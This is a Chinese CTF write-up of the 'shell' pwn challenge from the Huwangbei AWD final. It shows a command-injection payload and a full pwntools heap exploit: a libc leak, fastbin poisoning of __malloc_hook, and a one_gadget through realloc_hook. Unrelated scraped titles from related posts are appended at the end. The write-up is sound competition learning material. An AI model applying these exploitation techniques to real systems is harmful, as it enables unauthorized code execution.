前言

好久不打比赛,顺便来北京实习就参加了护网杯。排名虽然有所提高但还是被各种大表哥吊打。(和企业参赛简直痛苦)这里带来决赛中awd比赛pwn题shell的两种漏洞利用方式。

程序保护

保护全开

程序分析

程序模拟了一个受限shell命令行的功能。

一共有10个shell功能,根据漏洞利用方式可以分为两类。

第一类:ls,pwd,passwd,login,exit

其中passwd和login是假的利用方式。

就是密码通过打开random文件进行随机化。若账号密码正确则执行错误的system调用233333333333。加条知识点就是当连续open文件1024次上后,使文件描述符数组满了后,无法再次打开文件,即读取到的密码为空。这样就可以绕过密码实现登录(当然在这里登录没用)

第二类:recv,send,decode,encode。

实现通过堆的漏洞利用。

漏洞利用

命令注入

ls和pwd可以组合实现任意命令执行。大佬们看见这一行指令就开始疯狂刷分了。可怜我等菜鸟没经验编自动化脚本调格式都要半天。。。

payload为|cat<..>

堆利用

这种题在这个比赛肯定还有别的做法。。。(上面的做法太敷衍)于是开始考虑有无别的利用途径

send功能:若指针处有值,则free掉他.之后malloc一个任意大小的堆块填充至指针。并可进行堆块的填充。

recv功能:若指针处有值,则free掉他。之后malloc一个任意大小的堆块填充至指针。并将send功能指针指向的chunk内容通过strlen和memcpy拷贝到recv功能指针指向堆块。(明显存在堆溢出漏洞,且是大小不限的堆溢出漏洞)

encode功能:将send指针堆块内容加密。可通过此功能绕过strlen的0字节溢出限制。

decode功能:将recv指针堆块内容解密。只有此处存在一个put可以进行信息泄露。

程序一共可维持两个任意大小的堆块。malloc和free是绑定的,free掉原堆块再malloc新堆块。decode和encode用来配合使用绕过strlen限制和泄露信息。

信息泄露

awd比赛自带libc,首先泄露libc的基址。

先分配两个堆块,此时指针

malloc(0xa0)//send 指针

malloc(0x60)//recv 指针

执行一次send功能。free掉send指针再分配回来。可以得到unsorted bin的地址。再执行encode功能。通过recv功能接受send堆块的内容后通过decode泄露libc地址。

脚本流程如下:

send(0xa0,’a’)

recv(0x60)

send(0xa0,’’)

encode(8)

recv(0x60)

p.writeline(‘decode’)

p.readuntil(‘:’)

p.writeline(‘8’)

p.readuntil(‘\n’)

libc=u64(chr(0)+p.readuntil(‘\n’)[:-1]+chr(0)*2)-0x398B00

success(hex(libc))

漏洞实现

现在我们有了libc地址,需要考虑向哪里写入one_gadget实现利用。

利用方式通过常见的malloc_hook加realloc_hook实现

初始状态:

chunk a //send

chunk b //recv

我们可以通过写入a覆盖b的信息。

首先send功能malloc一个更大值

状态1:

chunk a//空(free掉)

chunk b//recv

chunk c//send

之后使用recv功能占位a并通过memcpy实现溢出。

状态2:

chunk a// recv

chunk b//空(free掉) size 0x71

chunk c//send

将chunk c memcpy到chunk a。实现对b的溢出.将b的fd指针指向malloc_hook-0x23.中间通过encode和decode功能辅助

之后通过send和recv功能各malloc一个0x60的堆即可完成利用。这里有新的难点。此时不知为何free c因和topchunk合并调用malloc_consolidate产生异常。

于是通过覆盖a的同时覆盖到c。伪造一个chunk与top chunk相连。

这时通过send和recv功能各申请一个0x60的堆块即可写入malloc_hook.这里one_gadget环境不对,通过realloc_hook微调这里不再叙述,参考上一篇文章。

脚本from pwn import *

p=process('./shell')

elf=ELF('/lib/x86_64-linux-gnu/libc-2.24.so')

p.readuntil('> ')

def encode(a):

p.writeline('encode')

p.readuntil(':')

p.writeline(str(a))

p.readuntil('> ')

def decode(a):

p.writeline('decode')

p.readuntil(':')

p.writeline(str(a))

p.readuntil('> ')

def send(a,b):

p.writeline('send')

p.readuntil(':')

p.writeline(str(a))

p.readuntil('Content')

p.writeline(b)

p.readuntil('> ')

def recv(a):

p.writeline('recv')

p.readuntil(':')

p.writeline(str(a))

p.readuntil('> ')

context(log_level='debug')

send(0xa0,'a')

recv(0x60)

send(0xa0,'')

encode(8)

recv(0x60)

p.writeline('decode')

p.readuntil(':')

p.writeline('8')

p.readuntil('\n')

libc=u64(chr(0)+p.readuntil('\n')[:-1]+chr(0)*2)-0x398B00

success(hex(libc))

send(0x150,'a'*0x90+p64(0)*3+p64(0x71)+p64(libc+elf.symbols['__malloc_hook']-0x23)+chr(0)*0x60+p64(0x21)+chr(0)*0x18+p64(0x141))

encode(0x150)

recv(0xa0)

decode(0x150)

re_hook=libc+elf.symbols['__realloc_hook']

mac_hook=libc+elf.symbols['__malloc_hook']

realloc=libc+elf.symbols['__libc_realloc']

send(0x60,'b'*(0x13-8)+p64(libc+0x3f33a)+p64(realloc+6))

encode(0x20)

success(hex(libc+0x398b00))

recv(0x60)

decode(0x20)

success(hex(libc+elf.symbols['__malloc_hook']-0x23))

gdb.attach(p)

p.interactive()

总结

积分赛排名还好,awd日常被暴打。。和腾讯在一个分组简直是一个噩梦。膜。。如有不对请指正

最后于 2019-1-28 13:37

被admin编辑

,原因:

上传的附件:

附件.zip

(686.83kb,35次下载)

awd的批量脚本 pwn_[原创]第一届护网杯线下决赛awd之shell多解相关推荐

  1. awd的批量脚本 pwn_北极星杯AWD-Writeup

    前言 祝祖国70周年生日快乐,也祝星盟一周年生日快乐.感谢各位师傅在国庆假期抽出时间参加这次比赛,也感谢负责组织比赛的师傅忙前忙后. 我是M09ic,负责本次北极星杯AWD的赛后分享.靠着抱大腿以及足 ...

  2. awd的批量脚本 pwn_北极星杯 awd复现

    北极星杯 awd复现 服务器共有3个web和一个pwn web1 1,down下web1的源码,使用D盾扫描: 2,漏洞1:发现三个冰蝎的木马,和一个一句话木马 冰蝎的后门需要使用冰蝎的客户端进行连接 ...

  3. awd的批量脚本 pwn_CTF线下赛AWD套路小结

    CTF线下赛AWD套路小结 本文已在先知社区发表,欢迎访问,链接h 最近打了2场CTF线下赛,把AWD模式中的一些小套路做一些总结,本人web狗,二进制部分就不班门弄斧了. 一.AWD模式简介 AWD ...

  4. CTF线下赛AWD攻防准备

    CTF线下赛AWD攻防准备 最近发现一篇博客.感觉对CTF线下赛-AWD模式,总结比较好.于是学习了解了一下,为了方便寻找,把这篇博客复制了过来,并补充了点... 1.赛制流程:攻防模式(AWD)常见 ...

  5. CTF线下赛AWD总结

    AWD 记录一下自己最近参加的线下攻防比赛,没时间学习了,就准备了几天,果然不出意外的被安全专业的大佬打得很惨. 缺点是不会攻击,我和我队友两个人就只有防,AWD防了400分,综合渗透拿了200分. ...

  6. awd赛题的flag是什么意思_红帽杯线下赛AWD题目分析

    上周打了一场红帽杯的线下赛,可惜开具发挥失误服务器down了几轮一度垫底-最后才又勉强上了点儿分-..赛后对题目中的几处比较有意义的漏洞做了一下分析,写出了下面篇文章. web1 web1是一个wor ...

  7. awd的批量脚本 pwn_AWD攻防之web入门篇

    前言 AWD(Attack With Defense,攻防兼备)模式是一个非常有意思的模式,你需要在一场比赛里要扮演攻击方和防守方,攻者得分,失守者会被扣分.也就是说,攻击别人的靶机可以获取 Flag ...

  8. 第一届赣网杯网络安全大赛 2020GW-CTF Misc_Writeup

    目录 签到Checkin face DestroyJava Hidepig 签到Checkin flag{welc0me_to_ganwangbei} face Lennyfuck interpret ...

  9. 第一届赣网杯网络安全大赛 2020GW-CTF Web_Writeup

    目录 EasyPhp parseHash EasyPhp <?php $sz_txt = $_GET["sz_txt"]; $sz_file = $_GET["sz ...

最新文章

  1. word2vec模型评估_【新书】从Word2Vec到BERT的自然语言处理嵌入进展,附下载
  2. Lin总线应用层代码
  3. java 调用 ictclas50_1-Ictclas50分词系统ForJava
  4. php retoken,laravel 5.5 关闭token的3种实现方式
  5. SVM-支持向量机(code实现)
  6. Hosts 文件作用及如何修改
  7. uview组件得到回调的参数
  8. 游戏筑基开发之结构体定义动态数组及常见问题(C语言)
  9. 简单的字段类型定义(新新手看)
  10. 三维激光LiDAR点云数据处理,我帮您!
  11. mac上调整phpstorm和webstorm的使用内存(默认是128m-750m) 避免卡顿
  12. linux journalctl使用详解
  13. 思维导图怎么做计划的简单高效绘制方法
  14. Spring中AOP的Introductions使用介绍(五)
  15. esxi - with nvidia geforce 10 titan xp card
  16. 使用ColorMatrix简单处理色彩平衡
  17. 玩转AgiileCDN(十三)——全站加速
  18. 软件工程师的职业建议
  19. paramiko的get_pty=True参数
  20. 不同音视频传输协议的对比

热门文章

  1. 3.JavaSE第三天_判断循环eclipse的使用
  2. Dapp开发教程二 Asch Dapp Asset
  3. swift控制流 来自cocoachina
  4. 微信支付宝开启刷脸支付的研发工作和商用探索
  5. Zero date value prohibited 异常处理
  6. 写个微信小程序过中秋
  7. 转转图书对基于Drools引擎的DMN实践
  8. MVC模型结构是什么
  9. 驱动篇:底层驱动移植(三)(摘录)
  10. 电子货架标签------医院床头卡